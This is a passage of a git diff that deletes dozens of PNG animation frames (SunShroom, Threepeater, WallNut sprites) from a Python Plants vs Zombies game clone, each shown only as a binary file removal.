Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_1.png deleted file mode 100644 index 220a0e5e2ad..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_2.png deleted file mode 100644 index 0d57e917fea..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_3.png deleted file mode 100644 index 6fbb5e75d46..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_4.png deleted file mode 100644 index 948089a6a28..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_5.png deleted file mode 100644 index b7efcd16a0a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_6.png deleted file mode 100644 index b98ef3b4527..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_7.png deleted file mode 100644 index e103723a3ad..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_8.png deleted file mode 100644 index 15acadc61ad..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_9.png deleted file mode 100644 index 40e4e28016b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_0.png deleted file mode 100644 index 1c0ac5c81b2..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_1.png deleted file mode 100644 index 4de6109c4e9..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_10.png deleted file mode 100644 index 30e3a4149a1..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_11.png deleted file mode 100644 index 955f934f03d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_12.png deleted file mode 100644 index bff51d83c88..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_13.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_13.png deleted file mode 100644 index 7b8f6848589..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_13.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_2.png deleted file mode 100644 index 00644b02b33..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_3.png deleted file mode 100644 index 99896d6e8d7..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_4.png deleted file mode 100644 index 99896d6e8d7..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_5.png deleted file mode 100644 index bbee2f5c686..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_6.png deleted file mode 100644 index c7e8f73392b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_7.png deleted file mode 100644 index ccb7854f74a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_8.png deleted file mode 100644 index 70ab7e0af83..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_9.png deleted file mode 100644 index d07c0794d9b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomSleep/SunShroomSleep_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_0.png deleted file mode 100644 index da1721f2435..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_1.png deleted file mode 100644 index e3f78e456d3..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_10.png deleted file mode 100644 index 919624bf820..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_11.png deleted file mode 100644 index e8ca050f1b7..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_12.png deleted file mode 100644 index 838511fffca..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_13.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_13.png deleted file mode 100644 index 9fe10656538..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_13.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_14.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_14.png deleted file mode 100644 index b7f4bc11ee8..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_14.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_15.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_15.png deleted file mode 100644 index ff07c4559c5..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_15.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_2.png deleted file mode 100644 index 0c07431ce24..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_3.png deleted file mode 100644 index 712177cd551..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_4.png deleted file mode 100644 index fd8c69b7913..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_5.png deleted file mode 100644 index 938c59c2b18..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_6.png deleted file mode 100644 index a22ef84ab6b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_7.png deleted file mode 100644 index 1715efe35ae..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_8.png deleted file mode 100644 index 20d6e8410bf..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_9.png deleted file mode 100644 index a39310856c5..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Threepeater/Threepeater_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/RedWallNutBowling/RedWallNutBowling_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/RedWallNutBowling/RedWallNutBowling_0.png deleted file mode 100644 index f9f5a275e2b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/RedWallNutBowling/RedWallNutBowling_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/RedWallNutBowlingExplode/RedWallNutBowlingExplode_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/RedWallNutBowlingExplode/RedWallNutBowlingExplode_0.png deleted file mode 100644 index 028667468c3..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/RedWallNutBowlingExplode/RedWallNutBowlingExplode_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_0.png deleted file mode 100644 index 2e3e773518b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_1.png deleted file mode 100644 index 629af2bbe6b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_10.png deleted file mode 100644 index 2003f81882c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_11.png deleted file mode 100644 index 2f25f81e076..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_12.png deleted file mode 100644 index c0b773c8acb..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_13.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_13.png deleted file mode 100644 index cb023965f05..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_13.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_14.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_14.png deleted file mode 100644 index 696b86eca4a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_14.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_15.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_15.png deleted file mode 100644 index ed307c75a11..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_15.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_2.png deleted file mode 100644 index b74243a7d26..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_3.png deleted file mode 100644 index de4b2aaf1a7..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_4.png deleted file mode 100644 index f6415ee6142..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_5.png deleted file mode 100644 index bbad911fb8d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_6.png deleted file mode 100644 index 9e6485d2e36..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_7.png deleted file mode 100644 index b32ec065cdb..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_8.png deleted file mode 100644 index 76c92583279..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_9.png deleted file mode 100644 index 23d82bd8ad3..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut/WallNut_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNutBowling/WallNutBowling_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNutBowling/WallNutBowling_0.png deleted file mode 100644 index 673f40f239f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNutBowling/WallNutBowling_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_0.png deleted file mode 100644 index 7b05e805384..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_1.png deleted file mode 100644 index c0653529bb3..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_10.png deleted file mode 100644 index acfb94aedf6..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_2.png deleted file mode 100644 index 9ec165d21d9..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_3.png deleted file mode 100644 index 5a4da3000c2..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_4.png deleted file mode 100644 index 91e8b9249c8..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_5.png deleted file mode 100644 index f04376661a1..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_5.png and /dev/null differ diff --git a/Add Code 